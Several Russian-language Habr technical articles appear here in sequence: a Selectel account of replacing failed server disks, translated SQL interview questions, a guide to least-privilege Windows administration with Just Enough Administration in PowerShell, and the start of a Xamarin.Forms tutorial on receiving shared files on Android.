Заявленную скорость можно посмотреть на официальном сайте производителя. Учитывайте, что реальная скорость может отличаться от заявленной производителем. Чтобы быстро проверить скорость чтения, можно воспользоваться утилитой hdparm (для Linux):
```
hdparm -Tt /dev/sda
```
Также можно произвести полноценное нагрузочное тестирование с помощью утилиты fio, оценив показатели IOPS. Подробнее можно почитать [здесь](https://habr.com/ru/post/154235/).
Как правильно составить обращение к провайдеру
----------------------------------------------
Корректная формулировка тикета позволит быстрее решить проблему.
Сотрудникам техподдержки не придется задавать дополнительные вопросы, а значит, инженер скорее получит нужную информацию и приступит к решению проблемы.
В заголовке тикета укажите суть проблемы (в нашем случае — неисправен диск) и ID сервера.
В теле тикета необходимо добавить следующую информацию:
* Название и ID сервера.
* Буквенное обозначение (идентификатор в ОС) и серийный номер неисправного диска. Если диск перестал определяться в системе, то необходимо написать S/N всех “здоровых” накопителей.
* Приложить показатели SMART, выводы скорости записи/чтения, описать другие ошибки, связанные с диском.
*Пример тикета*
Тикет у инженера
----------------
### Анализ информации
После получения данных инженер их анализирует.
Для проверки SMART мы в Selectel используем самописного бота в Telegram. Боту отправляется полный вывод команды smartctl. Он, в свою очередь, в зависимости от типа диска и вендора проверяет определенные атрибуты и выносит «приговор» — подлежит ли данный диск замене. Именно поэтому мы всегда рекомендуем отправлять вывод SMART текстом, а не скрином :).
*Телеграм-бот для проверки SMART*
### Подготовка диска
Если неисправность диска подтверждается, то инженер приступает к подготовке носителя для замены. Для быстрого решения проблемы такие диски находятся на складе в определенном месте — они уже проверены и готовы к добавлению в сервер. Инженеру остается накрутить нужную корзину и согласовать с клиентом время замены.
### Идентификация проблемного диска
Перед заменой клиенту необходимо вывести диск из RAID-массива (если массив используется) и «подсветить».
Существует несколько способов подсветки диска в Linux:
* Самый простой способ — воспользоваться встроенной утилитой dd:
```
dd if=/dev/sdX of=/dev/null bs=4M, где Х — идентификатор диска
```
* Вариант с использованием libstoragemgmt:
Включить fault led ячейки — `ledon /dev/sdX`
Выключить fault led ячейки — `ledoff /dev/sdX`
* Утилита ledctl:
Включить — `ledctl locate=/dev/sdX`
Выключить — `ledctl locate_off=/dev/sdX`
Если диски подключены к RAID-контроллеру, подсветка включается через утилиты вендора — например arcconf, storcli.
После этого необходимо сообщить в тикете о включении индикации. Инженер Selectel со своей стороны смотрит индикацию на дисках, определяет нужный диск и просит клиента остановить действие подсветки. Так он убеждается, что неисправный диск определен верно.
Далее инженер выполняет замену диска и сообщает об этом клиенту, чтобы тот проверил, определился ли новый диск в ОС.
Бывают случаи, что индикация не срабатывает на корзине. В такой ситуации замену диска можно выполнить только с отключением сервера, то есть даунтаймом.
Мы заменили диск. Что дальше?
-----------------------------
Самая сложная часть позади. Клиент может продолжать пользоваться своим сервером.
Неисправный диск инженер передает в отдел сборки. Там его полностью очищают от данных с помощью специальных программ.
Далее может произойти два варианта развития событий:
* Если на диск еще действует гарантия, он будет отправлен поставщику.
* Диск можно будет вылечить с помощью специального ПО.
Если первые два варианта не подошли — например, носитель не записывает информацию и не подлежит ремонту, он будет ждать утилизации. Неисправные диски из Аттестованного ЦОД уничтожаются с помощью специального устройства.
*Устройство для уничтожения дисков*
> Если вам понравился этот текст, советуем также почитать:
>
>
>
> → [Как Selectel подходит к утилизации техники](https://selectel.ru/blog/tech_recycle/)
>
> → [Как собираются кастомные серверы](https://selectel.ru/blog/custom/)
>
> → [Что такое серверы Chipcore и зачем десктопное железо в дата-центрах](https://selectel.ru/blog/custom-chipcore/)
>
> | https://habr.com/ru/post/694336/ | null | ru | null |
# Топ-65 вопросов по SQL с собеседований, к которым вы должны подготовиться в 2019 году. Часть I
*Перевод статьи подготовлен для студентов курса [«MS SQL Server разработчик»](https://otus.pw/pc4Q/)*
---
Реляционные базы данных являются одними из наиболее часто используемых баз данных по сей день, и поэтому [навыки работы с SQL](https://www.edureka.co/sql-essentials-training) для большинства должностей являются обязательными. В этой статье с вопросами по SQL с собеседований я познакомлю вас с наиболее часто задаваемыми вопросами по SQL (Structured Query Language — язык структурированных запросов). Эта статья является идеальным руководством для изучения всех концепций, связанных с SQL, Oracle, MS SQL Server и базой данных MySQL.
Наша статья с вопросами по SQL — универсальный ресурс, с помощью которого вы можете ускорить подготовку к собеседованию. Она состоит из набора из **65 самых распространенных вопросов**, которые интервьюер может задать во время собеседования. Оно обычно начинается с базовых вопросов по SQL, а затем переходит к более сложным на основе обсуждения и ваших ответов. Эти вопросы по SQL с собеседований помогут вам извлечь максимальную выгоду на различных уровнях понимания.
Давайте начнем!
Вопросы по SQL с собеседований
==============================
#### Вопрос 1. В чем разница между операторами DELETE и TRUNCATE?
| DELETE | TRUNCATE |
| --- | --- |
| Используется для удаления строки в таблице | Используется для удаления всех строк из таблицы |
| Вы можете восстановить данные после удаления | Вы не можете восстановить данные (прим. перевод.: операции логируются по разному, но в SQL Server есть возможность сделать откат) транзакции) |
| DML-команда | DDL-команда |
| Медленнее, чем оператор TRUNCATE | Быстрее |
#### № Вопрос 2. Из каких подмножеств состоит SQL?
* *DDL (Data Definition Language, язык описания данных)* — позволяет выполнять различные операции с базой данных, такие как CREATE (создание), ALTER (изменение) и DROP (удаление объектов).
* *DML (Data Manipulation Language, язык управления данными)* — позволяет получать доступ к данным и манипулировать ими, например, вставлять, обновлять, удалять и извлекать данные из базы данных.
* *DCL (Data Control Language, язык контролирования данных)* — позволяет контролировать доступ к базе данных. Пример — GRANT (предоставить права), REVOKE (отозвать права).
#### Вопрос 3. Что подразумевается под СУБД? Какие существуют типы СУБД?
База данных — структурированная коллекция данных. Система управления базами данных (СУБД) — программное обеспечение, которое взаимодействует с пользователем, приложениями и самой базой данных для сбора и анализа данных. СУБД позволяет пользователю взаимодействовать с базой данных. Данные, хранящиеся в базе данных, могут быть изменены, извлечены и удалены. Они могут быть любых типов, таких как строки, числа, изображения и т. д.
**Существует два типа СУБД:**
* Реляционная система управления базами данных: данные хранятся в отношениях (таблицах). Пример — MySQL.
* Нереляционная система управления базами данных: не существует понятия отношений, кортежей и атрибутов. Пример — Mongo.
#### Вопрос 4. Что подразумевается под таблицей и полем в SQL?
Таблица — организованный набор данных в виде строк и столбцов. Поле — это столбцы в таблице. Например:
**Таблица:** Student\_Information
**Поле:** Stu\_Id, Stu\_Name, Stu\_Marks
#### Вопрос 5. Что такое соединения в SQL?
Для соединения строк из двух или более таблиц на основе связанного между ними столбца используется оператор JOIN. Он используется для объединения двух таблиц или получения данных оттуда. В SQL есть 4 типа соединения, а именно:
* Inner Join (Внутреннее соединение)
* Right Join (Правое соединение)
* Left Join (Левое соединение)
* Full Join (Полное соединение)
#### Вопрос 6. В чем разница между типом данных CHAR и VARCHAR в SQL?
И Char, и Varchar служат символьными типами данных, но varchar используется для строк символов переменной длины, тогда как Char используется для строк фиксированной длины. Например, char(10) может хранить только 10 символов и не сможет хранить строку любой другой длины, тогда как varchar(10) может хранить строку любой длины до 10, т.е. например 6, 8 или 2.
#### Вопрос 7. Что такое первичный ключ (Primary key)?
* Первичный ключ — столбец или набор столбцов, которые однозначно идентифицируют каждую строку в таблице.
* Однозначно идентифицирует одну строку в таблице
* Нулевые (Null) значения не допускаются
\_Пример: в таблице Student Stu*ID является первичным ключом.*
#### Вопрос 8. Что такое ограничения (Constraints)?
Ограничения (constraints) используются для указания ограничения на тип данных таблицы. Они могут быть указаны при создании или изменении таблицы. Пример ограничений:
* NOT NULL
* CHECK
* DEFAULT
* UNIQUE
* PRIMARY KEY
* FOREIGN KEY
#### Вопрос 9. В чем разница между SQL и MySQL?
SQL — стандартный язык структурированных запросов (Structured Query Language) на основе английского языка, тогда как MySQL — система управления базами данных. SQL — язык реляционной базы данных, который используется для доступа и управления данными, MySQL — реляционная СУБД (система управления базами данных), также как и SQL Server, Informix и т. д.
#### Вопрос 10. Что такое уникальный ключ (Unique key)?
* Однозначно идентифицирует одну строку в таблице.
* Допустимо множество уникальных ключей в одной таблице.
* Допустимы NULL-значения (*прим. перевод.: зависит от СУБД, в SQL Server значение NULL может быть добавлено только один раз в поле с UNIQUE KEY*).
#### Вопрос 11. Что такое внешний ключ (Foreign key)?
* Внешний ключ поддерживает ссылочную целостность, обеспечивая связь между данными в двух таблицах.
* Внешний ключ в дочерней таблице ссылается на первичный ключ в родительской таблице.
* Ограничение внешнего ключа предотвращает действия, которые разрушают связи между дочерней и родительской таблицами.
#### Вопрос 12. Что подразумевается под целостностью данных?
Целостность данных определяет точность, а также согласованность данных, хранящихся в базе данных. Она также определяет ограничения целостности для обеспечения соблюдения бизнес-правил для данных, когда они вводятся в приложение или базу данных.
#### Вопрос 13. В чем разница между кластеризованным и некластеризованным индексами в SQL?
1. Различия между кластеризованным и некластеризованным индексами в SQL:
Кластерный индекс используется для простого и быстрого извлечения данных из базы данных, тогда как чтение из некластеризованного индекса происходит относительно медленнее.
2. Кластеризованный индекс изменяет способ хранения записей в базе данных — он сортирует строки по столбцу, который установлен как кластеризованный индекс, тогда как в некластеризованном индексе он не меняет способ хранения, но создает отдельный объект внутри таблицы, который указывает на исходные строки таблицы при поиске.
3. Одна таблица может иметь только один кластеризованный индекс, тогда как некластеризованных у нее может быть много.
#### Вопрос 14. Напишите SQL-запрос для отображения текущей даты.
В SQL есть встроенная функция GetDate (), которая помогает возвращать текущий timestamp/дату.
#### Вопрос 15. Перечислите типы соединений
Существуют различные типы соединений, которые используются для извлечения данных между таблицами. Принципиально они делятся на четыре типа, а именно:
**Inner join** (Внутреннее соединение): в MySQL является наиболее распространенным типом. Оно используется для возврата всех строк из нескольких таблиц, для которых выполняется условие соединения.
**Left Join** (Левое соединение): в MySQL используется для возврата всех строк из левой (первой) таблицы и только совпадающих строк из правой (второй) таблицы, для которых выполняется условие соединения.
**Right Join** (Правое соединение): в MySQL используется для возврата всех строк из правой (второй) таблицы и только совпадающих строк из левой (первой) таблицы, для которых выполняется условие соединения.
**Full Join** (Полное соединение): возвращает все записи, для которых есть совпадение в любой из таблиц. Следовательно, он возвращает все строки из левой таблицы и все строки из правой таблицы.
#### Вопрос 16. Что вы подразумеваете под денормализацией?
Денормализация — техника, которая используется для преобразования из высших к низшим нормальным формам. Она помогает разработчикам баз данных повысить производительность всей инфраструктуры, поскольку вносит избыточность в таблицу. Она добавляет избыточные данные в таблицу, учитывая частые запросы к базе данных, которые объединяют данные из разных таблиц в одну таблицу.
#### Вопрос 17. Что такое сущности и отношения?
**Сущности:** человек, место или объект в реальном мире, данные о которых могут храниться в базе данных. В таблицах хранятся данные, которые представляют один тип сущности. Например — база данных банка имеет таблицу клиентов для хранения информации о клиентах. Таблица клиентов хранит эту информацию в виде набора атрибутов (столбцы в таблице) для каждого клиента.
**Отношения:** отношения или связи между сущностями, которые имеют какое-то отношение друг к другу. Например — имя клиента связано с номером учетной записи клиента и контактной информацией, которая может быть в той же таблице. Также могут быть отношения между отдельными таблицами (например, клиент к счетам).
#### Вопрос 18. Что такое индекс?
Индексы относятся к методу настройки производительности, позволяющему быстрее извлекать записи из таблицы. Индекс создает отдельную структуру для индексируемого поля и, следовательно, позволяет быстрее получать данные.
#### Вопрос 19. Опишите различные типы индексов.
Есть три типа индексов, а именно:
1. **Уникальный индекс (Unique Index):** этот индекс не позволяет полю иметь повторяющиеся значения, если столбец индексируется уникально. Если первичный ключ определен, уникальный индекс может быть применен автоматически.
2. **Кластеризованный индекс (Clustered Index):** этот индекс меняет физический порядок таблицы и выполняет поиск на основе значений ключа. Каждая таблица может иметь только один кластеризованный индекс.
3. **Некластеризованный индекс (Non-Clustered Index):** не изменяет физический порядок таблицы и поддерживает логический порядок данных. Каждая таблица может иметь много некластеризованных индексов.
#### Вопрос 20. Что такое нормализация и каковы ее преимущества?
Нормализация — процесс организации данных, цель которого избежать дублирования и избыточности. Некоторые из преимуществ:
* Лучшая организация базы данных
* Больше таблиц с небольшими строками
* Эффективный доступ к данным
* Большая гибкость для запросов
* Быстрый поиск информации
* Проще реализовать безопасность данных
* Позволяет легко модифицировать
* Сокращение избыточных и дублирующихся данных
* Более компактная база данных
* Обеспечивает согласованность данных после внесения изменений
#### Вопрос 21. В чем разница между командами DROP и TRUNCATE?
Команда DROP удаляет саму таблицу, и нельзя сделать Rollback команды, тогда как команда TRUNCATE удаляет все строки из таблицы (*прим. перевод.: в SQL Server Rollback нормально отработает и откатит DROP*).
#### Вопрос 22. Объясните различные типы нормализации.
Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.
* *Первая нормальная форма (1NF)* — нет повторяющихся групп в строках
* *Вторая нормальная форма (2NF)* — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
* *Третья нормальная форма (3NF)* — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
#### Вопрос 23. Что такое свойство ACID в базе данных?
ACID означает атомарность (Atomicity), согласованность (Consistency), изолированность (Isolation), долговечность (Durability). Он используется для обеспечения надежной обработки транзакций данных в системе базы данных.
**Атомарность.** Гарантирует, что транзакция будет полностью выполнена или потерпит неудачу, где транзакция представляет одну логическую операцию данных. Это означает, что при сбое одной части любой транзакции происходит сбой всей транзакции и состояние базы данных остается неизменным.
**Согласованность.** Гарантирует, что данные должны соответствовать всем правилам валидации. Проще говоря, вы можете сказать, что ваша транзакция никогда не оставит вашу базу данных в недопустимом состоянии.
**Изолированность.** Основной целью изолированности является контроль механизма параллельного изменения данных.
**Долговечность.** Долговечность подразумевает, что если транзакция была подтверждена (COMMIT), произошедшие в рамках транзакции изменения сохранятся независимо от того, что может встать у них на пути (например, потеря питания, сбой или ошибки любого рода).
#### Вопрос 24. Что вы подразумеваете под «триггером» в SQL?
Триггер в SQL — особый тип хранимых процедур, которые предназначены для автоматического выполнения в момент или после изменения данных. Это позволяет вам выполнить пакет кода, когда вставка, обновление или любой другой запрос выполняется к определенной таблице.
#### Вопрос 25. Какие операторы доступны в SQL?
В SQL доступно три типа оператора, а именно:
1. Арифметические Операторы
2. Логические Операторы
3. Операторы сравнения
#### Вопрос 26. Совпадают ли значения NULL со значениями нуля или пробела?
Значение NULL вовсе не равно нулю или пробелу. Значение NULL представляет значение, которое недоступно, неизвестно, присвоено или неприменимо, тогда как ноль — это число, а пробел — символ.
#### Вопрос 27. В чем разница между перекрестным (cross join) и естественным (natural join) соединением?
Перекрестное соединение создает перекрестное или декартово произведение двух таблиц, тогда как естественное соединение основано на всех столбцах, имеющих одинаковое имя и типы данных в обеих таблицах.
#### Вопрос 28. Что такое подзапрос в SQL?
Подзапрос — это запрос внутри другого запроса, в котором определен запрос для извлечения данных или информации из базы данных. В подзапросе внешний запрос называется основным запросом, тогда как внутренний запрос называется подзапросом. Подзапросы всегда выполняются первыми, а результат подзапроса передается в основной запрос. Он может быть вложен в SELECT, UPDATE или любой другой запрос. Подзапрос также может использовать любые операторы сравнения, такие как >, < или =.
#### Вопрос 29. Какие бывают типы подзапросов?
Существует два типа подзапросов, а именно: коррелированные и некоррелированные.
* **Коррелированный подзапрос:** это запрос, который выбирает данные из таблицы со ссылкой на внешний запрос. Он не считается независимым запросом, поскольку ссылается на другую таблицу или столбец в таблице.
* **Некоррелированный подзапрос:** этот запрос является независимым запросом, в котором выходные данные подзапроса подставляются в основной запрос.
#### Вопрос 30. Перечислите способы получить количество записей в таблице?
Для подсчета количества записей в таблице вы можете использовать следующие команды:
`SELECT * FROM table1`
`SELECT COUNT(*) FROM table1`
`SELECT rows FROM sysindexes WHERE id = OBJECT_ID(table1) AND indid < 2`
---
Ещё 35 вопросов с ответами опубликуем в следующей части… Следите за новостями! | https://habr.com/ru/post/461067/ | null | ru | null |
# [конспект админа] Меньше администраторов всем
Продолжим про безопасность операционных систем – на этот раз «жертвой» станет MS Windows и принцип предоставления минимальных прав для задач системного администрирования.
Сотрудникам, ответственным за определенные серверы и рабочие станции совсем не обязательно выдавать права «администратор домена». Хоть не по злому умыслу, по ошибке, но это может подпортить всем жизнь, а то и стоить чьих-то выходных. Под катом детально разберем принцип предоставления минимальных прав как одну из технологий предоставления минимальных прав.
Ограниченные группы
===================
В качестве примера из практики могу привести грустную историю со счастливым концом. В организации исторически сложилось, что [сервер печати](https://habrahabr.ru/company/pc-administrator/blog/332600/) находился на контроллере домена. В один прекрасный момент сотруднику отдела IT понадобилось перепрошить принтер, что он и проделал, запустив китайскую утилиту на сервере. Принтер заработал, но вот утилита в процессе перепрошивки перевела время на несколько лет назад. Active directory не очень любит путешественников во времени, и контроллер домена благополучно отправился в «захоронение» ([tombstone](https://msdn.microsoft.com/en-us/library/ms680306(v=vs.85).aspx)).
Инцидент добавил седых волос, но второй контроллер домена спас ситуацию: роли FSMO перевели на него, а путешественника во времени повторно сделали контроллером домена. С тех пор в компании права «администратора домена» нужно заслужить.
> Для профилактики подобных ситуаций неплохо будет выдавать желающим ровно столько прав, сколько нужно: если нужно администрировать только рабочие станции, достаточно выдать права только на компьютеры пользователей.
Когда компьютеров немного, включить доменную группу безопасности «helpdesk» в локальную группу «администраторы» можно и руками. А вот на большом объеме приходят на помощь групповые политики. Удобных способов два.
Первый способ: через **Группы с ограниченным доступом** (Restricted groups), расположенные в групповых политиках по адресу **Конфигурация компьютера – Политики – Параметры безопасности**.
*Расположение политик Restricted groups.*
Далее нужно создать группу «Администраторы» и добавить в нее нужную группу. Есть только один нюанс – если сделать именно так, то из локальной группы «Администраторы» исчезнут все, кроме встроенного администратора и самой группы. Даже Domain Admins:
*Добавляем группу «Администраторы», в которую добавляем группу helpdesk.*
*И получаем локальную группу «Администраторы» без Domain admins.*
Конечно, эту возможность можно использовать и во благо – зачистить локальные группы от лишних участников. Если же хочется избежать такой зачистки, то можно создать в «Группах ограниченного доступа» доменную группу и ее же назначить входящей в группу «Администраторы»:
*При такой настройке локальная группа «Администраторы» не будет зачищена.*
Вторым способом является настройка **Предпочтения Групповых Политик** (Group Policy Preference, далее – GPP). Искать следует в **Конфигурации компьютера – Настройка – Локальные пользователи и группы**.
*Настройка группы безопасности через GPP.*
Как и все настройки в GPP, эта проще в понимании и с более дружелюбным интерфейсом. Но если у вас в инфраструктуре присутствуют не обновленные Windows XP или даже Windows 2000, то остается только первый вариант.
Таким же способом можно дать права и на определенные серверы нужным сотрудникам. Например, дать права группе разработчиков на тестовый стенд.
Использование встроенных групп безопасности
===========================================
Конечно, сотрудников отдела IT и системные учетные записи (например, под которыми выполняются задачи резервного копирования) проще сразу включить в группу «Enterprise Admins» и не знать горя.
Но из соображений безопасности лучше так не делать. В Windows существует набор встроенных учетных записей с набором типовых прав. Группы немного различаются для компьютера и для домена, а также ряд сервисов привносит свои группы.
**Под спойлером предлагаю ознакомится с набором основных групп безопасности.**
| | |
| --- | --- |
| Группа | Описание |
| Администраторы | Полные права на систему. |
| Пользователи | Возможность пользоваться без изменения системных параметров и без записи в системные разделы. Фактически пользователь – полноценный хозяин только в папке своего профиля. |
| Операторы архива | Группа, предназначенная для выполнения резервного копирования и восстановления. Участники группы могут завершать работу системы на серверах и переопределять права доступа в целях резервного копирования. |
| Опытные пользователи | Участники этой группы могут администрировать локальные учетные записи и группы (кроме администраторов), создавать сетевые ресурсы и управлять доступом на них, менять NTFS ACL (кроме смены владельца папки). |
| Пользователи удаленного рабочего стола | Членство дает возможность подключаться к компьютеру по RDP |
| Операторы печати | Операторы могут устанавливать и удалять принтеры, изменять их драйвера и настройки, останавливать и чистить очередь печати. |
| Операторы настройки сети | Могут менять настройки сетевых интерфейсов. Это полезная группа на случай если нужно переназначать получение адреса сетевой картой с автоматического на статическое. Мобильные пользователи скажут спасибо, если добавить их в эту группу. |
| Операторы учета | Пользователи в этой группе могут создавать/удалять/редактировать/перемещать учетные записи в Active Directory. Удобно дать эти права для сервиса, автоматически заводящего учетки сотрудников после приема на работу. |
Познакомиться со всеми группами и более полным описанием можно в официальной [документации](https://technet.microsoft.com/en-us/library/a328fe83-b2f6-441b-b2f8-52cfd9e81aef).
Если стандартных групп не хватает, то Windows позволяет настроить права доступа более тонко. Например, выдать отдельной группе пользователей право менять время или возможность принудительно завершать работу сервера по сети. Для этого существует механизм «назначение прав пользователей». Искать можно в локальной политике безопасности – **secpol.msc** или в групповой политике по адресу **Конфигурация компьютера – Конфигурация Windows – Параметры безопасности – Локальные политики – Назначение прав пользователя**.
*Настройка прав доступа через групповые политики.*
Использовать эту настройку я рекомендую в крайних случаях, и ее обязательно надо документировать. Помните о том, что когда-нибудь вас кто-то сменит и будет разбираться, почему работает так, а не иначе.
> Вообще лучше всегда все документировать. Представьте ситуацию, что вы уволились из организации и вместо вас пришел человек с улицы. Поставьте себя на место этого человека. Если начал дергаться глаз или зашевелились волосы – посвятите время написанию документации. Пожалуйста!
Существует еще один хороший метод ограничения доступа к объектам – делегирование. Про эту технологию [на Хабре уже писали](https://habrahabr.ru/post/174437/), поэтому я лишь добавлю, что с помощью делегирования удобно выдаются права для ввода нового компьютера в домен.
Все эти технологии довольно давно существуют в системах Windows. С появлением Windows 10\2016 появилась еще одна интересная возможность ограничить учетные записи – речь о ней пойдет далее.
Достаточно администрирования
============================
Just Enough Administration (JEA) – технология предоставления доступа к командлетам PowerShell. Работает на операционных системах вплоть до Windows 7 при установке Windows Management Framework 5.1 (правда, в самых старых операционных системах поддержка ограничена). Работа производится через так называемые «виртуальные аккаунты» и специально подготовленные файлы конфигурации. Примером использования JEA является выдача ограниченных прав на управление определенными виртуальными машинами – например, для ваших разработчиков.
Подробнее про JEA можно почитать в [официальной документации](https://docs.microsoft.com/en-us/powershell/jea/overview), поэтому разберем конкретный пример предоставления возможности перезапуска виртуальной машины.
Сначала нам нужно разрешить удаленное подключение к серверу с помощью командлета **Enable-PSRemoting**, а заодно убедимся, что у нас Windows Management Framework нужной версии при помощи командлета **$PSVersionTable.PSVersion**.
*Проверка версии и разрешение удаленных подключений при помощи PS.*
Создадим группу безопасности и специального пользователя:
```
$VMOperatorGroup = New-ADGroup -Name "VM-operators" -GroupScope DomainLocal -PassThru
$OperatorUser = New-ADUser -Name "VMOperator" -AccountPassword (ConvertTo-SecureString 'P@ssword1' -AsPlainText -Force) -PassThru
Enable-ADAccount -Identity $OperatorUser
Add-ADGroupMember -Identity $VMOperatorGroup -Members $OperatorUser
```
Теперь создадим нужные для работы конфигурационные файлы и папки. Сначала общие:
```
New-Item -Path "C:\Program Files\WindowsPowerShell\Modules\Demo_Module" -ItemType Directory
New-ModuleManifest -Path "C:\Program Files\WindowsPowerShell\Modules\Demo_Module\Demo_Module.psd1"
New-Item -Path "C:\Program Files\WindowsPowerShell\Modules\Demo_Module\RoleCapabilities" -ItemType Directory
```
А затем создадим конкретный файл конфигурации для нашего оператора виртуальной машины с именем win. Для примера разрешим запуск и остановку виртуальной машины:
```
$VMRoleCapabilityParams = @{
Author = 'Сервер Молл'
Description = 'VM Role Capability File'
CompanyName = 'ServerMall'
VisibleCmdlets= 'Get-VM',
@{ Name='Start-VM'; Parameters=@{ Name='Name'; ValidateSet='win' } },
@{ Name = 'Stop-VM'; Parameters = @{ Name = 'Name'; ValidateSet = 'win'}}
New-PSRoleCapabilityFile -Path "$ENV:ProgramFiles\WindowsPowerShell\Modules\Demo_Module\RoleCapabilities\VMRoleCapability.psrc" @VMRoleCapabilityParams
```
Теперь необходимо подготовить файл сессии PowerShell:
```
$NonAdministrator = "DOMAIN\VM-win-Operators"
$ConfParams = @{
SessionType = 'RestrictedRemoteServer'
RunAsVirtualAccount = $true
RoleDefinitions = @{
$NonAdministrator = @{ RoleCapabilities = 'VMRoleCapability'}
}
TranscriptDirectory = "$env:ProgramData\JEAConfiguration\Transcripts"
}
New-Item -Path "$env:ProgramData\JEAConfiguration" -ItemType Directory
$SessionName = 'VM_OperatorSession'
New-PSSessionConfigurationFile -Path "$env:ProgramData\JEAConfiguration\VM.pssc" @ConfParams
```
Зарегистрируем файл сессии:
```
Register-PSSessionConfiguration -Name 'VM_OperatorSession' -Path "$env:ProgramData\JEAConfiguration\VM.pssc"
```
Теперь все готово для проверки. Попробуем подключиться к серверу с учетными данными созданного пользователя командлетом:
```
Enter-PSSession -ComputerName SERVERNAME -ConfigurationName VM_OperatorSession -Credential (Get-Credential)
```
Проверим список доступных команд командой **get-command** и попробуем остановить нашу виртуальную машину win, а затем другую машину win2.
*Доступ к серверу ограничен управлением одной виртуальной машиной.*
Для облегчения создания файлов конфигурации сообществом была создана утилита под названием [JEA Toolkit Helper](https://gallery.technet.microsoft.com/JEA-Helper-Tool-20-6f9c49dd), где графический интерфейс поможет создать файлы с необходимыми параметрами.
*Интерфейс JEA Toolkit Helper.*
При необходимости есть возможность через групповые политики включить аудит выполнения модулей по адресу **Конфигурация компьютера – Административные шаблоны – Windows Powershell – Включить ведение журнала модулей**. Тогда в журнале Windows будут отображаться записи о том что, где и когда.
*Журнал выполнения PowerShell.*
Альтернативой будет включение записи в файл. Также через групповые политики настраивается параметр «**Включить транскрипции PowerShell**». Путь можно задать как в самой политике (и тогда запись туда будет вестись для всех модулей), так и в файле конфигурации сессии JEA в параметре **TranscriptDirectory**.
*Файловый журнал JEA.*
С помощью делегирования, назначения прав и JEA можно добиться отказа от использования учетных записей с администраторскими правами в повседневной работе. В конце-концов, к UAC в Windows ведь тоже привыкли и не отключаем просто потому, что «заткнись, я и так знаю что мне делать со своими файлами!». | https://habr.com/ru/post/335568/ | null | ru | null |
# Отправка файлов в приложение Xamarin.Forms. Часть 2
На прошлой неделе мы говорили про отправку файлов в приложение Xamarin.Forms для iOS, как и обещали, во второй части речь пойдёт про Android.
Отправка файлов в приложение Xamarin.Forms: [часть 1 (iOS)](https://habrahabr.ru/company/microsoft/blog/324138/) и [часть 2 (Android)](https://habrahabr.ru/company/microsoft/blog/324796/).
Сценарий
--------
Снова сценарий, о котором пойдет речь:
* Написание Xamarin.Forms приложения.
* Это приложение позволяет обрабатывать файлы определенного типа (в демо-приложении, рассмотренном в этом посте это PDF файлы).
* ОС должна знать, что приложение способно оперировать с файлами данного типа.
* Приложение должно появиться в списке приложений, чтобы отправить файл.
Приступим.
Регистрация в Android
---------------------
Также как Intent’ы используются для обмена данными между компонентами Activity, можно использовать Intent’ы для того же между приложениями.
Явные и неявные Intent’ы
------------------------
Когда точно понятно какой компонент Activity необходимо открыть в приложении – нужно создать явный Intent. Когда создается явный Intent – указывается тип класса компонента Activity, который должен быть запущен, затем начинает работать ОС, когда находит StartActivity().
Достаточно просто. Но что происходит, когда разработчик исходного приложения не знает какой компонент Activity должен быть запущен, так как этот компонент Activity находится в отдельном приложении? Приложение «высылает» уведомление, что имеется что-то, что необходимо доставить в другое приложение и «спрашивает», может ли выполнить действие над этим.
Вот тут на помощь приходит неявный Intent. Разработчик создает неявный Intent, не специфицируя компонент Activity, который должен быть запущен.
Однако неявный Intent всё ещё нуждается в достаточной информации, чтобы ОС Android могла определить, какое приложение должно получить информацию. Здесь не будет рассматриваться создание неявных Intent’ов, а только их применение. В [этой статье](https://aka.ms/habr_324796_1) рассказано об Intent’ах подробно.
Intent-фильтры
--------------
Вся информация о явных и неявных Intent’ах приводит к концепции Intent-фильтров. Intent-фильтры – это способ, с помощью которого приложение, принимающее файл, регистрируется в Android для обработки входящих данных.
Intent-фильтры ассоциируются с компонентами Activity в приложении, которые должны запуститься, когда получен файл. Описание Intent-фильтра появляется в файле AndroidManifest.xml вместе с описанием для компонента Activity.
Чтобы определить, какое приложение будет запущено и отображено в опциях, когда пользователь посылает файл определенного типа в другое приложение, Android «просматривает» все Intent-фильтры, зарегистрированные ОС и фильтрует приложения по принципу сравнения критериев Intent-фильтров с критериями, объявленными в неявном Intent’е.
Как создать Intent-фильтр?
Объявление Intent -фильтра
--------------------------
Как было отмечено, описание Intent-фильтра появляется вместе с описанием компонента Activity, которые должны быть запущены, когда получен файл.
Пример объявления компонента Activity и Intent-фильтра в файле AndroidManifest.xml выглядит следующим образом:
```
```
Здесь нужно отметить пару моментов. Первый – один компонент Activity может иметь более одного Inent-фильтра. Второй – ключевые слова, включенные в узел . Эти ключевые слова помогают Android отфильтровать приложения, которые могут выполнять определенные операции. Вот объяснение значений в данном случае получения файла:
* – компонент Activity только собирается отреагировать на неявный Intent, то есть послать данные в другие приложения.
* – это всегда необходимо. Также, всегда должно быть такое значение для получения неявного Intent’а.
* – это тип данных. Или тип MIME, который может обрабатывать приложение.
На этом работа с Android-частью закончена. Настало время a Xamarin.Forms-приложения.
Интеграция с Xamarin.Forms
--------------------------
Сначала необходимо понять, как добавить Intent-фильтр в Android-часть Xamarin.Forms-приложения. Xamarin обеспечивает множество инструментов, так что нет необходимости часто касаться файла AndroidManifest.xml. Если понадобиться добавить значение в этом файле, можно обратиться к визуальному дизайнеру (дважды кликнув файл) или к различным атрибутам классов.
Так случилось, что Intent-фильтры можно добавить с помощью класса `IntentFilterAttribute`. Так как в Forms-приложении только один компонент Activity, необходимо класс `MainActivity` дополнить этим атрибутом. Чтобы сгенерировать XML-код в файле AndroidManifest.xml, идентичный рассмотренному выше, объявление класса `MainActivity` должно выглядеть следующим образом:
```
[Activity(Label = "OpenFiles.Droid", Icon = "@drawable/icon", Theme = "@style/MyTheme", MainLauncher = true, ConfigurationChanges = ConfigChanges.ScreenSize | ConfigChanges.Orientation)]
[IntentFilter(new[] { Intent.ActionSend }, Categories = new[] { Intent.CategoryDefault }, DataMimeType = @"application/pdf")]
public class MainActivity : global::Xamarin.Forms.Platform.Android.FormsAppCompatActivity {
```
